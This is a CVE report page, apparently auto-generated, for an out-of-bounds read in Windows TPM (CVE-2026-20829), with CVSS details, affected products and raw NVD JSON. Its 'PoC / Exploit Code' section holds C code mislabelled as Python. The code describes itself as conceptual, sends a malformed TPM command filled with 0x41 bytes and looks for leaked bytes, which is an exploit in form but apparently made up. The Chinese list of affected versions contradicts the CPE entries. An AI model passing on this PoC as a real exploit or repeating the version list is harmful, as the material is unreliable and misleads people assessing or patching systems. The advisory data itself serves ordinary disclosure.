Security Vulnerability Report
中文
CVE-2026-20829 CVSS 5.5 MEDIUM

CVE-2026-20829

Published: 2026-01-13 18:16:11
Last Modified: 2026-01-15 13:07:29

Description

Out-of-bounds read in Windows TPM allows an authorized attacker to disclose information locally.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809及之前版本
Windows Server 2019及之前版本
Windows 11 21H2及之前版本
Windows Server 2022及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20829 PoC - Windows TPM Out-of-Bounds Read // Author: Security Researcher // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <tbs.h> #include <stdio.h> #pragma comment(lib, "tbs.lib") int main() { TBS_CONTEXT_PARAMS params; TBS_CONTEXT_HANDLE context = NULL; TBS_HCONTEXT hContext; HRESULT hr; printf("CVE-2026-20829 Windows TPM OOB Read PoC\n"); printf("=====================================\n\n"); // Initialize TBS context params.version = TBS_CONTEXT_VERSION_ONE; params.flags = TBS_CONTEXT_FLAG_NONE; hr = Tbsi_Context_Create(&params, &hContext); if (FAILED(hr)) { printf("[-] Failed to create TBS context: 0x%08X\n", hr); return 1; } printf("[+] TBS context created successfully\n"); // Attempt to trigger OOB read condition // This would involve crafting specific TPM commands // The actual exploitation requires deeper knowledge of TPM internals // Example: Attempting to read beyond allocated buffer BYTE cmdBuffer[64]; BYTE respBuffer[256]; UINT32 respSize = sizeof(respBuffer); memset(cmdBuffer, 0x41, sizeof(cmdBuffer)); // Fill with pattern memset(respBuffer, 0x00, sizeof(respBuffer)); // Modify command to trigger OOB condition cmdBuffer[6] = 0xFF; // Malformed command hr = Tbsip_Submit_Command( hContext, TBS_COMMAND_LOCALITY_ZERO, TBS_COMMAND_VERSION_ONE, cmdBuffer, sizeof(cmdBuffer), respBuffer, &respSize ); if (hr == S_OK) { printf("[+] Command submitted, analyzing response...\n"); // Check for leaked data in response for (int i = 0; i < respSize; i++) { if (respBuffer[i] != 0x00 && respBuffer[i] != 0x41) { printf("[!] Potential leaked data at offset %d: 0x%02X\n", i, respBuffer[i]); } } } else { printf("[-] Command failed: 0x%08X\n", hr); } Tbsip_Context_Close(hContext); printf("\n[!] Note: This PoC is for research purposes only.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20829", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:10.657", "lastModified": "2026-01-15T13:07:28.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Windows TPM allows an authorized attacker to disclose information locally."}, {"lang": "es", "value": "Lectura fuera de límites en TPM de Windows permite a un atacante autorizado divulgar información localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "E481E93D-D86E-4B65-93E5-200327C348C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "5ACD940D-CA6A-402B-B132-E5A66139C44F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20829", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}